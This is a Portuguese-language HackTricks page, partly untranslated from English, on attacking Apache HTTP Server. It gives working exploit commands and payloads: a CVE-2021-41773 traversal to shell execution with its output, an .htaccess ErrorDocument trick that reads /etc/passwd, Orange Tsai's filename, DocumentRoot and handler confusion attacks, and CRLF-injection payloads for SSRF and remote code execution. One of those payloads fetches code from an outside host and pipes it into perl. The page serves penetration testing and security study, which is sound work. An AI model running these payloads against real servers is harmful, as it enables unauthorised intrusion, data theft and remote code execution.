Apache
Reading time: 13 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Extensões PHP executáveis
Verifique quais extensões o servidor Apache está executando. Para procurá-las você pode executar:
grep -R -B1 "httpd-php" /etc/apache2
Além disso, alguns lugares onde você pode encontrar esta configuração são:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
LFI via .htaccess ErrorDocument file provider (ap_expr)
Se você consegue controlar o .htaccess de um diretório e AllowOverride inclui FileInfo para esse caminho, você pode transformar respostas 404 em leituras arbitrárias de arquivos locais usando a função ap_expr file() dentro de ErrorDocument.
- Requisitos:
- Apache 2.4 com parser de expressões (ap_expr) habilitado (padrão no 2.4).
- O vhost/dir deve permitir que .htaccess defina ErrorDocument (AllowOverride FileInfo).
- O usuário worker do Apache deve ter permissões de leitura no arquivo alvo.
.htaccess payload:
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
Acione solicitando qualquer caminho inexistente abaixo desse diretório, por exemplo ao abusar de userdir-style hosting:
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
Notas e dicas:
- Only absolute paths work. The content is returned as the response body for the 404 handler.
- As permissões efetivas de leitura são as do usuário Apache (tipicamente www-data/apache). Você não conseguirá ler /root/* ou /etc/shadow em configurações padrão.
- Mesmo se .htaccess for root-owned, se o diretório pai for tenant-owned e permitir rename, você pode conseguir renomear o .htaccess original e enviar seu próprio substituto via SFTP/FTP:
- rename .htaccess .htaccess.bk
- coloque seu .htaccess malicioso
- Use isto para ler o código-fonte da aplicação sob DocumentRoot ou vhost config paths para coletar segredos (DB creds, API keys, etc.).
Confusion Attack
Esses tipos de ataques foram introduzidos e documentados by Orange in this blog post e o seguinte é um resumo. O ataque "confusion" basicamente abusa de como as dezenas de módulos que trabalham em conjunto criando um Apache não operam perfeitamente sincronizados, e fazer com que alguns deles modifiquem dados inesperados pode causar uma vulnerabilidade em um módulo posterior.
Filename Confusion
Truncation
The mod_rewrite
will trim the content of r->filename
after the character ?
(modules/mappers/mod_rewrite.c#L4141). This isn't totally wrong as most modules will treat r->filename
as an URL. Mas, em outras ocasiões isso será tratado como file path, o que pode causar um problema.
- Path Truncation
É possível abusar do mod_rewrite
como no exemplo de regra a seguir para acessar outros arquivos dentro do file system, removendo a última parte do caminho esperado adicionando simplesmente um ?
:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Mislead RewriteFlag Assignment
Na seguinte regra de reescrita, desde que a URL termine em .php ela será tratada e executada como php. Portanto, é possível enviar uma URL que termine em .php após o caractere ?
enquanto carrega no caminho um tipo diferente de arquivo (como uma imagem) com código php malicioso dentro dele:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
É possível acessar arquivos que o usuário não deveria conseguir acessar, mesmo que o acesso devesse ser negado com configurações como:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
Isso acontece porque, por padrão, o PHP-FPM receberá URLs que terminam em .php
, como http://server/admin.php%3Fooo.php
; e, como o PHP-FPM remove qualquer coisa após o caractere ?
, a URL anterior permitirá carregar /admin.php
mesmo que a regra anterior a proibisse.
Confusão com DocumentRoot
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Um fato curioso sobre o Apache é que o rewrite anterior tentará acessar o arquivo tanto a partir do documentRoot quanto do root. Assim, uma requisição para https://server/abouth.html
verificará a existência do arquivo em /var/www/html/about.html
e em /about.html
no sistema de arquivos. Isso basicamente pode ser abusado para acessar arquivos no sistema de arquivos.
Divulgação de código-fonte do lado do servidor
- Divulgar código-fonte CGI
Basta adicionar %3F ao final para leak o código-fonte de um módulo CGI:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- Disclose PHP Source Code
Se um servidor tiver domínios diferentes, com um deles sendo um domínio estático, isso pode ser abusado para atravessar o sistema de arquivos e leak php code:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Local Gadgets Manipulation
O principal problema com o ataque anterior é que, por padrão, a maior parte do acesso ao filesystem será negada, como no Apache HTTP Server’s configuration template:
<Directory />
AllowOverride None
Require all denied
</Directory>
No entanto, os sistemas Debian/Ubuntu permitem por padrão /usr/share
:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Therefore, it would be possible to abusar de arquivos localizados dentro de /usr/share
nessas distribuições.
Local Gadget to Information Disclosure
- Apache HTTP Server com websocketd pode expor o script dump-env.php em /usr/share/doc/websocketd/examples/php/, o que pode leak variáveis de ambiente sensíveis.
- Servidores com Nginx ou Jetty podem expor informações sensíveis de aplicações web (por exemplo, web.xml) através de suas raízes web padrão colocadas sob /usr/share:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Local Gadget to XSS
- No Ubuntu Desktop com LibreOffice installed, explorar o recurso de troca de idioma dos arquivos de ajuda pode levar a Cross-Site Scripting (XSS). Manipular a URL em /usr/share/libreoffice/help/help.html pode redirecionar para páginas maliciosas ou versões antigas por meio de insegura RewriteRule.
Local Gadget to LFI
- Se PHP ou certos pacotes front-end como JpGraph ou jQuery-jFeed estiverem instalados, seus arquivos podem ser explorados para ler arquivos sensíveis como /etc/passwd:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Local Gadget to SSRF
- Utilizando MagpieRSS's magpie_debug.php em /usr/share/php/magpierss/scripts/magpie_debug.php, uma vulnerabilidade SSRF pode ser facilmente criada, fornecendo uma porta para explorações adicionais.
Local Gadget to RCE
- As oportunidades para Remote Code Execution (RCE) são vastas, com instalações vulneráveis como um PHPUnit desatualizado ou phpLiteAdmin. Estes podem ser explorados para executar código arbitrário, demonstrando o extenso potencial da manipulação de local gadgets.
Jailbreak from Local Gadgets
Também é possível jailbreak a partir das pastas permitidas seguindo symlinks gerados pelo software instalado nessas pastas, como:
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
Além disso, abusando de symlinks foi possível obter RCE in Redmine.
Handler Confusion
This attack exploits the overlap in functionality between the AddHandler
and AddType
directives, which both can be used to enable PHP processing. Originally, these directives affected different fields (r->handler
and r->content_type
respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting r->content_type
into r->handler
if the former is set and the latter is not.
Moreover, in the Apache HTTP Server (server/config.c#L420
), if r->handler
is empty before executing ap_run_handler()
, the server uses r->content_type
as the handler, effectively making AddType
and AddHandler
identical in effect.
Overwrite Handler to Disclose PHP Source Code
In this talk, foi apresentada uma vulnerabilidade onde um Content-Length
incorreto enviado por um cliente pode fazer com que o Apache, por engano, retorne o código-fonte PHP. Isso ocorria devido a um problema de tratamento de erros com o ModSecurity e o Apache Portable Runtime (APR), onde uma resposta dupla leva à sobrescrita de r->content_type
para text/html
.
Porque o ModSecurity não trata corretamente os valores de retorno, ele retornaria o código PHP e não o interpretaria.
Overwrite Handler to XXXX
TODO: Orange ainda não divulgou essa vulnerabilidade
Invoke Arbitrary Handlers
If an attacker is able to control the Content-Type
header in a server response he is going to be able to invoke arbitrary module handlers. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to restart the request process abusing the Location
header because if the returned Status
is 200 and the Location
header starts with a /
, the response is treated as a Server-Side Redirection and should be processed
According to RFC 3875 (specification about CGI) in Section 6.2.2 defines a Local Redirect Response behavior:
The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
Therefore, to perform this attack is needed one of the following vulns:
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
Arbitrary Handler to Information Disclosure
For example /server-status
should only be accessible locally:
<Location /server-status>
SetHandler server-status
Require local
</Location>
É possível acessá-lo definindo o Content-Type
para server-status
e o cabeçalho Location começando com /
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Manipulador Arbitrário para SSRF Completo
Redirecionando para mod_proxy
para acessar qualquer protocolo em qualquer URL:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
No entanto, o cabeçalho X-Forwarded-For
é adicionado, impedindo o acesso aos endpoints de metadados da nuvem.
Manipulador Arbitrário para Acessar o Socket de Domínio Unix Local
Acesse o Unix Domain Socket local do PHP-FPM para executar uma backdoor PHP localizada em /tmp/
:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Handler Arbitrário para RCE
A imagem oficial PHP Docker inclui o PEAR (Pearcmd.php
), uma ferramenta de gerenciamento de pacotes PHP para linha de comando, que pode ser abusada para obter RCE:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Consulte Docker PHP LFI Summary, escrito por Phith0n para os detalhes desta técnica.
Referências
- https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
- Apache 2.4 Custom Error Responses (ErrorDocument)
- Apache 2.4 Expressions and functions (file:)
- HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.